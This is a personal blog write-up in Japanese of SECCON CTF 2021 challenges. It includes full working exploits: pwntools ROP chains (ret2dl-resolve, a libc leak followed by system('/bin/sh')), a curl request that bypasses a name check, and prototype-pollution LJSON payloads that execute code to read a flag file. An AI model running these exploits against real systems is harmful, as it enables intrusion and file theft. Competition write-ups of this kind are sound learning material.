Satoooonの物置

雑多に色々と何かをしている

SECCON CTF 2021 Writeup

SECCON CTF 2021にチーム./flagで参加して38位でした。自分が解いた問題についてWriteupを書いていきます。

pwnable

kasu bof [78 solves]

#include <stdio.h>

int main(void) {
  char buf[0x80];
  gets(buf);
  return 0;
}
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

BOFしてくれと言わんばかりの32bitのバイナリが渡されます。

ROPして終了!wとなりましたが、libcが渡されていません。

バイナリ中にはsyscallも出力関数もないので、libc leakしてもう一回ROPすることもできません。

最初はlibcのバージョンをguessしてGOTからlibc addressを読み込み計算することでsystemを呼ぼうとしましたが、ptr-yudaiさんがlibc guessのある問題なんて出すわけがないよなと気が付きました。

32bitのバイナリというのも珍しいです。何か既存手法があるのではないか?と思い至ったので「pwn 32bit」とかのキーワードを含めて検索してみると、このあたりの記事を見つけられました。

https://danielepusceddu.github.io/ctf_writeups/dice21_babyrop/

https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62

ret2dl-resolveという手法があるようです。pwntoolsにも実装されているらしいので、コピペしてみます。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "i386"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall"

nc = "nc hiyoko.quals.seccon.jp 9001"

command = '''
b *0x080491af
c
'''

chall = ELF(file)

ret = 0x0804900e

dlresolve = Ret2dlresolvePayload(chall, symbol="system", args=["/bin/sh"])

rop = ROP(chall)
rop.gets(dlresolve.data_addr)
rop.raw(ret)
rop.ret2dlresolve(dlresolve)

raw_rop = rop.chain()
print(rop.dump())

payload = fit({0x88: raw_rop})
print(payload)

io = get_io()
io.sendline(payload)
io.sendline(dlresolve.payload)

io.interactive()

手法は一ミリも理解できていませんが、フラグが取れてしまいました。

SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}

ところで、ここで問題文を見てみましょう。

Do you understand return-to-dl-resolve attack on 32-bit?

最初から書いてあるんですが?????今Writeupを書いているときに気が付きました。

CTF出るたび問題文読まずに失敗している気がします。よく見ような!

Average Calculater [56 solves]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }

    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

平均値を計算するプログラムです。Aは長さ16の配列ですが、nは特に制限されていないのでAの範囲を超えて値を読み込ませ、スタックを改ざんすることが可能です。ROPができそうですね。

ただし、読み込ませる値は-123456789~123456789である必要があります。バイナリのアドレスの値(0x3ff000~0x405000)はセーフですが、libcのアドレスは大きすぎるのでアウトです。libcのアドレスはROP内でまた別にscanfを使ってBSSあたりに読み込ませ、あとはstack pivotすればよいでしょう。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./average"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc.so.6"

nc = "nc average.quals.seccon.jp 1234"

command = '''
b *0x000000000040133f
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()

pop_rdi = 0x00000000004013a3
pop_rsi_r15 = 0x00000000004013a1
ret = 0x000000000040101a
leave = 0x000000000040133e

payload = []
payload += [0] * 16
payload.append(-1)  # n
payload.append(0)
payload.append(0)
payload.append(19)  # i
payload.append(0)  # rbp
payload.append(pop_rdi)  # ret
payload.append(chall.got["puts"])
payload.append(chall.plt["puts"])
# payload.append(ret)
payload.append(chall.sym["main"])

payload[16] = len(payload)

io.sendlineafter("n: ", str(len(payload)))

for i in payload:
    io.sendlineafter("]: ", str(i))

io.recvuntil("Average")
io.recvline()
libc.address = u64(io.recvline().rstrip().ljust(8, b"\x00")) - libc.sym["puts"]
log.info(f"libc: {libc.address:x}")

bss_buf = chall.bss() + 0x700

payload = []
payload += [0] * 16
payload.append(-1)  # n
payload.append(0)
payload.append(0)
payload.append(19)  # i
payload.append(bss_buf-8)  # rbp

payload.append(pop_rdi)  # ret
payload.append(next(chall.search(b"%lld\x00")))

payload.append(pop_rsi_r15)
payload.append(bss_buf)
payload.append(0)

payload.append(chall.plt["__isoc99_scanf"])

payload.append(pop_rdi)  # ret
payload.append(next(chall.search(b"%lld\x00")))

payload.append(pop_rsi_r15)
payload.append(bss_buf+0x8)
payload.append(0)

payload.append(chall.plt["__isoc99_scanf"])

payload.append(pop_rdi)  # ret
payload.append(next(chall.search(b"%lld\x00")))

payload.append(pop_rsi_r15)
payload.append(bss_buf+0x10)
payload.append(0)

payload.append(chall.plt["__isoc99_scanf"])

payload.append(leave)


payload.append(chall.plt["__isoc99_scanf"])
payload[16] = len(payload)

io.sendlineafter("n: ", str(len(payload)))

for i in payload:
    io.sendlineafter("]: ", str(i))

io.recvuntil("Average")
io.recvline()
io.sendline(str(pop_rdi))
io.sendline(str(next(libc.search(b"/bin/sh\x00"))))
io.sendline(str(libc.sym["system"]))

io.interactive()

SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}

reversing

corrupted flag [55 solves]

バイナリと暗号化されたフラグが渡されます。Ghidraで解析していきましょう。

void corrupt(char *buf,long len,char **outbuf,size_t *outlen)

{
  int i;
  char *encbuf;
  char *_outbuf;
  char *outbuf_i;
  byte *encbut_ptr;
  long j;
  int _buf;
  int k;
  char *encbuf_i;
  byte __i;
  byte buf_2;
  byte buf_3;
  ulong _i;
  byte _k;
  size_t _outlen;
  byte buf_0;
  byte buf_1;
  size_t bufsize;
  byte xor01;
  
  bufsize = len * 0xe;
  encbuf = (char *)malloc(bufsize);
  _outlen = ((ulong)(len * 7) >> 2) + 1;
  *outlen = _outlen;
  _outbuf = (char *)malloc(_outlen);
  *outbuf = _outbuf;
  _outbuf = buf + len;
  if (len != 0) {
    j = 0;
    do {
      k = 1;
      encbut_ptr = (byte *)(encbuf + j);
      do {
        _buf = (int)*buf;
        _k = (byte)k;
        buf_0 = (byte)(_buf >> (_k - 1 & 0x1f));
        *encbut_ptr = buf_0 & 1;
        buf_1 = (byte)(_buf >> (_k & 0x1f));
        xor01 = buf_1 ^ buf_0;
        encbut_ptr[1] = buf_1 & 1;
        buf_2 = (byte)(_buf >> (_k + 1 & 0x1f));
        encbut_ptr[2] = buf_2 & 1;
        encbut_ptr[3] = (xor01 ^ buf_2) & 1;
        k = k + 4;
        buf_3 = (byte)(_buf >> (_k + 2 & 0x1f));
        encbut_ptr[5] = (xor01 ^ buf_3) & 1;
        encbut_ptr[4] = buf_3 & 1;
        encbut_ptr[6] = (buf_2 ^ buf_0 ^ buf_3) & 1;
        __corrupt_internal((char *)encbut_ptr);
        encbut_ptr = encbut_ptr + 7;
      } while (k != 9);
      j = j + 0xe;
      buf = buf + 1;
    } while (_outbuf != buf);
    if (bufsize != 0) {
      _i = 0;
      do {
        __i = (byte)_i;
        outbuf_i = *outbuf + (_i >> 3);
        encbuf_i = encbuf + _i;
        _i = _i + 1;
        *outbuf_i = *outbuf_i | (byte)((int)*encbuf_i << (__i & 7));
      } while (bufsize != _i);
    }
  }
  return;
}
undefined8 __corrupt_internal(char *encbuf_ptr)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  byte randval;
  long lStack16;
  
  lStack16 = *(long *)(in_FS_OFFSET + 0x28);
  sVar1 = read(dev_urandom,&randval,1);
  if (sVar1 != 1) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if ((randval & 0x1f) < 7) {
    encbuf_ptr[(char)(randval & 0x1f)] = encbuf_ptr[(char)(randval & 0x1f)] ^ 1;
  }
  if (lStack16 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

4bitの情報をXORによるパリティ?を加えて7bitに冗長化しています。

__corrupt_internal関数ではその7bitに1bitだけランダムにノイズを加えています。パリティを使って元の値を復元すればよいです。

復元にはz3を使いました。bitの昇順/降順で頭が混乱してたので変なコードになってるかもしれません。

from Crypto.Util.number import long_to_bytes
from z3 import *
with open("./flag.txt.enc", "rb") as f:
    content = f.read()

result = ""

bits = []

for c in content:
    a = list(bin(c)[2:].rjust(8, "0")[::-1])
    for ai in a:
        bits.append(int(ai))

for i in range(0, len(bits), 0xe):
    cur = bits[i:i+0xe]
    s = Solver()
    x = [BitVec(f"x{j}", 1) for j in range(8)]
    conds = [
        x[0] == cur[0],
        x[1] == cur[1],
        x[2] == cur[2],
        x[3] == cur[4],
        cur[3] == x[0] ^ x[1] ^ x[2],
        cur[5] == x[0] ^ x[1] ^ x[3],
        cur[6] == x[0] ^ x[2] ^ x[3],
    ]
    s.add(Sum([If(cond, 1, 0) for cond in conds]) >= 6)

    conds2 = [
        x[0+4] == cur[0+7],
        x[1+4] == cur[1+7],
        x[2+4] == cur[2+7],
        x[3+4] == cur[4+7],
        cur[3+7] == x[0+4] ^ x[1+4] ^ x[2+4],
        cur[5+7] == x[0+4] ^ x[1+4] ^ x[3+4],
        cur[6+7] == x[0+4] ^ x[2+4] ^ x[3+4],
    ]
    s.add(Sum([If(cond, 1, 0) for cond in conds2]) >= 6)
    
    if s.check() == sat:
        model = s.model()
        for j in range(8):
            result += str(model[x[j]])
        print(long_to_bytes(int(result[::-1], 2))[::-1])
    else:
        print("ERR")

SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

web

Vulnerability [94 solves]

サーバーのソースコードが渡されます。

package main

import (
    "log"
    "os"

    "github.com/gin-contrib/static"
    "github.com/gin-gonic/gin"
    "github.com/gin-gonic/gin/binding"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

func main() {
    gin.SetMode(gin.ReleaseMode)

    flag := os.Getenv("FLAG")
    if flag == "" {
        flag = "SECCON{dummy_flag}"
    }

    db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
    if err != nil {
        log.Fatal("failed to connect database")
    }

    db.AutoMigrate(&Vulnerability{})
    db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"})
    db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"})
    db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"})
    db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"})
    db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"})
    db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"})
    db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"})
    db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"})
    db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"})
    db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"})
    db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"})
    db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag})

    r := gin.Default()

    // Return a list of vulnerability names
    // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
    r.GET("/api/vulnerabilities", func(c *gin.Context) {
        var vulns []Vulnerability
        if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
            c.JSON(400, gin.H{"Error": "DB error"})
            return
        }
        var names []string
        for _, vuln := range vulns {
            names = append(names, vuln.Name)
        }
        c.JSON(200, gin.H{"Vulnerabilities": names})
    })

    // Return details of the vulnerability
    // {"Logo": "???.png", "URL": "https://..."}
    r.POST("/api/vulnerability", func(c *gin.Context) {
        // Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

        // Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

        c.JSON(200, gin.H{
            "Logo": vuln.Logo,
            "URL":  vuln.URL,
        })
    })

    r.Use(static.Serve("/", static.LocalFile("static", false)))

    if err := r.Run(":8080"); err != nil {
        log.Fatal(err)
    }
}

フラグはdbに格納されているので、どうにかしてdbを抜く必要がありそうです。

気になったのは以下の部分です。

if err := db.Where(&query).First(&vuln).Error; err != nil {

queryがそのままwhere句に渡っているので、ここでSQLiできるんじゃ?と考えました。

しかし、よくリファレンスを見てみたらこれは構造体による検索方法であり、特にSQLiにはならないらしいです。でも怪しいのはこのあたりしかないので調べてみます。

フラグを検索にヒットさせる方針で考えると、送信されたJSONにNameの値が存在するかのチェックはフラグがあるレコードのNameがわからない以上は邪魔です。

GoとJSONで思い出すのはSECCON Beginners CTF 2021のjsonです。この問題はキーの大文字小文字の解釈を利用しましたが、この問題でも同様のことができないか試してみます。

❯ curl -X POST -d '{"Name": "hoge", "name": ""}' https://vulnerabilities.quals.seccon.jp/api/vulnerability
{"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}

できました。チェック時はName、検索時はnameを使っているのでチェックをすり抜けられるみたいです。

さて、任意の構造体で検索ができるようになりましたが、フラグがあるレコードのフィールドは全て未知の値なのでまだヒットさせることができません。

ここで構造体の定義を振り返ってみると、gorm.Modelというのを構造体に使っています。

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

リファレンスを見てみると、gorm.ModelはIDというフィールドを持っていることがわかります。

// gorm.Modelの定義
type Model struct {
  ID        uint           `gorm:"primaryKey"`
  CreatedAt time.Time
  UpdatedAt time.Time
  DeletedAt gorm.DeletedAt `gorm:"index"`
}

このIDを使って検索すれば特定のレコードをみることができますね。列挙していくと、フラグを得られました。

❯ curl -X POST -d '{"Name": "hoge", "name": "", "ID": 14}' https://vulnerabilities.quals.seccon.jp/api/vulnerability
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}

SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}

Sequence as a Service 2 [19 solves]

二つの数列を見ることができるnodejsのWebサービスが与えられています。

注目すべきは/api/getValueで、LJSONというJSONに純粋関数を持たせられるようにしたライブラリを使い、クライアント側から渡されたLJSONを用いて数列のn項目を求めています。

fastify.get("/api/getValue", async (request, reply) => {
  const sequence0 = request.query.sequence0;
  const n0 = request.query.n0;
  const sequence1 = request.query.sequence1;
  const n1 = request.query.n1;
  ...
  try {
    const result = await execFile(
      "node",
      ["./service.js", sequence0, n0, sequence1, n1],
      {
        timeout: 1000,
      }
    );
    reply
      .header("Content-Type", "application/json; charset=utf-8")
      .send(result.stdout);
  ...
});

service.js

const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence0 = process.argv[2];
const n0 = parseInt(process.argv[3]);
const sequence1 = process.argv[4];
const n1 = parseInt(process.argv[5]);

console.log([
  LJSON.parseWithLib(lib, sequence0)({}, n0),
  LJSON.parseWithLib(lib, sequence1)({}, n1),
]);

lib.js

const lib = {
  "+": (x, y) => x + y,
  "-": (x, y) => x - y,
  "*": (x, y) => x * y,
  "/": (x, y) => x / y,
  ",": (x, y) => (x, y),
  "for": (l, r, f) => {
    for (let i = l; i < r; i++) {
      f(i);
    }
  },
  "set": (map, i, value) => {
    map[i] = value;
    return map[i];
  },
  "get": (map, i) => {
    return typeof i === "number" ? map[i] : null;
  },
};

module.exports = lib;

lib.jsに書いてある関数のみがLJSON内で使えるようになっています。

具体的な例を挙げると、サービスで使われているフィボナッチ数列を求めるLJSONはこのような感じです。(S式みたいな感じ)

const LJSON = require("ljson");

const name = "Fibonacci numbers";
const refUrl = "https://oeis.org/A000045";

/*

map[0] = 0;
map[1] = 1;
for (let i = 2; i < n+1; i++) {
  map[i] = map[i-1] + map[i-2];
}
return map[n];

*/

const src = LJSON.stringify(($, map, n) =>
  $(",",
    $(",",
      $(",",
        $("set", map, 0, 0),
        $("set", map, 1, 1),
      ),
      $("for",
        2,
        $("+", n, 1),
        i => $("set",
          map,
          i,
          $("+",
            $("get", map, $("-", i, 1)),
            $("get", map, $("-", i, 2)),
          ),
        ),
      ),
    ),
    $("get", map, n),
  ),
);

console.log(src);
// (a,b,c)=>(a(",",a(",",a(",",a("set",b,0,0),a("set",b,1,1)),a("for",2,a("+",c,1),(d)=>(a("set",b,d,a("+",a("get",b,a("-",d,1)),a("get",b,a("-",d,2))))))),a("get",b,c)))

module.exports = {
  name,
  src,
  refUrl,
};

さて、現状任意のLJSONをサーバーに渡してパース(実行)させることができます。フラグはファイルシステム上にあるため、RCEを目指していきましょう。

lib.jsを見てみると、set関数にPrototype Pollutionの脆弱性がありますね。iに__proto__を入れれば、__proto__は書き込み不可能なのでそのままmap["__proto__"]が返ってきます。そこにまたsetをすれば、Prototype Pollutionが可能です。

  "set": (map, i, value) => {
    map[i] = value;
    return map[i];
  },

Saas 2では二回パース処理が行われているので、一回目で汚染して二回目で何かしら悪さができそうです。

console.log([
  LJSON.parseWithLib(lib, sequence0)({}, n0),
  LJSON.parseWithLib(lib, sequence1)({}, n1),
]);

LJSONのコードを見てみると、LJSONは純粋関数しか許容しないように制限しながらコードを組み立てて、最終的にevalして関数を得ているようです。

ここで思い出すのはAST InjectionというPrototype Pollutionを利用してASTに対してInjectionをし、コンパイル後のコードに任意コードをまぎれさせる手法です。今回は少し違いますが、二回目のparseWithLibでevalする文字列の中に任意コードを注入することを考えます。

しかし、Prototype Pollutionでよくあるメンバの有無で分岐してたりするような悪用できる場所が見つかりません。

色々試していると、プロトタイプに生えている関数の書き替えができることに気が付きます。通常Prototype Pollutionといっても文字列しか扱えないことが多いのですが、LJSONは関数オブジェクトを作成できるので関数をそのまま置き換えることができます。

下記のようにすると、Array.prototype.joinが汚染されて特定の文字列しか返さないようになります。つまりコード中に任意の文字列を注入することができるようになったので、フラグを出力するコードを書けばフラグが得られます。

(f, map, n) => (
    f("set", 
      f("set", [], "__proto__", ""),
      "join",
      ()=>("){return process.mainModule.require(\\"fs\\").readFileSync(\\"../flag.txt\\").toString()})) // ")
    )
)
http://sequence-as-a-service-2.quals.seccon.jp:3000/api/getValue?sequence0=%28f%2Cmap%2Cn%29%3D%3E%28f%28%22set%22%2Cf%28%22set%22%2C%5B%5D%2C%22__proto__%22%2C%22%22%29%2C%22join%22%2C%28%29%3D%3E%28%22%29%7Breturn%20process%2EmainModule%2Erequire%28%5C%22fs%5C%22%29%2EreadFileSync%28%5C%22%2E%2E%2Fflag%2Etxt%5C%22%29%2EtoString%28%29%7D%29%29%2F%2F%22%29%29%29&n0=0&sequence1=%28%29%3D%3E%281%29&n1=1

にアクセスするとフラグが出力されました。

SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}

解けなかった問題

[web] Sequence as a Service 1 [20 solves]

今度はparseは一回のみなので、先ほどの手法は使えません。

const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence = process.argv[2];
const n = parseInt(process.argv[3]);

console.log(LJSON.parseWithLib(lib, sequence)(n));

また、lib.jsにはself関数という自分自身を返す関数が追加されています。

const lib = {
  "+": (x, y) => x + y,
  "-": (x, y) => x - y,
  "*": (x, y) => x * y,
  "/": (x, y) => x / y,
  ",": (x, y) => (x, y),
  "for": (l, r, f) => {
    for (let i = l; i < r; i++) {
      f(i);
    }
  },
  "set": (map, i, value) => {
    map[i] = value;
    return map[i];
  },
  "get": (map, i) => {
    return typeof i === "number" ? map[i] : null;
  },
  "self": () => lib,
};

module.exports = lib;

ところで、有名(?)なJavascript VM Escapeのコードとして以下のようなものがあります。

({}).constructor.constructor("return 1+1")()
// 2

これはObjectからFunction.constructorまで辿り、任意の関数を作成して実行するというものです。

self関数が追加されているので、lib自身に一時的にオブジェクトを保存しながらそこまで辿れないでしょうか?

しかし、set関数から取得できるmapのプロパティは__proto__のような書き込み不可能なものだけです。constructorは書き込み可能なので、set関数から取得することができません。

ここでギブアップでした。

f("constructor")という発想が出てこなかった。なぜself関数があるかをもっと考えた方が良かったですね...

(f, n) => (
  f(",",
    f("set", f("self"), "__proto__", ()=>(1)),
    f("constructor", "return process.mainModule.require(\\"fs\\").readFileSync(\\"../flag.txt\\").toString()")(),
  )
)

__proto__に代入をするとプロトタイプを変更することができます。libのプロトタイプがFunctionのものになるので、libにconstructorが生えることになり、結果的に任意コード実行することができました。

[misc] hitchhike [16 solves]

#!/usr/bin/env python3.9
import os

def f(x):
    print(f'value 1: {repr(x)}')
    v = input('value 2: ')
    if len(v) > 8: return
    return eval(f'{x} * {v}', {}, {})

if __name__ == '__main__':
    print("+---------------------------------------------------+")
    print("| The Answer to the Ultimate Question of Life,      |")
    print("|                the Universe, and Everything is 42 |")
    print("+---------------------------------------------------+")

    for x in [6, 6.6, '666', [6666], {b'6':6666}]:
        if f(x) != 42:
            print("Something is fundamentally wrong with your universe.")
            exit(1)
        else:
            print("Correct!")

    print("Congrats! Here is your flag:")
    print(os.getenv("FLAG", "FAKECON{try it on remote}"))

x = [6, 6.6, '666', [6666], {b'6':6666}]それぞれに対してx[i] * {input}が42になれば勝ちです。inputは8文字以下に制限されています。

最後の辞書との掛け算がなかなか通りません。競技中はPythonBNFなどとにらめっこして終わりました。

解法

_人人人人人人人人人_
> help() -> get shell <
 ̄Y^Y^Y^Y^Y^Y^Y^Y^Y ̄

対戦ありがとうございました...... (builtinsの関数は全部試すべきだった)

感想

Saas 1とhitchhikeに無限時間溶かしました。結果的にpwnやrevの10~20solvesに手を伸ばせなかったので、時間配分失敗したなと思います。

今回はseccampのメンバーで作ったグループで出ていました。相手が解ける問題を自分が解いてしまうとグループ作った意味がないのでその点を意識したんですが、難しいですね...

もう少し配分や担当など考えられたかなと感じています。去年はwarmupのみ、今年はwarmup+1問だったので来年はもっと解けるようになりたいですね。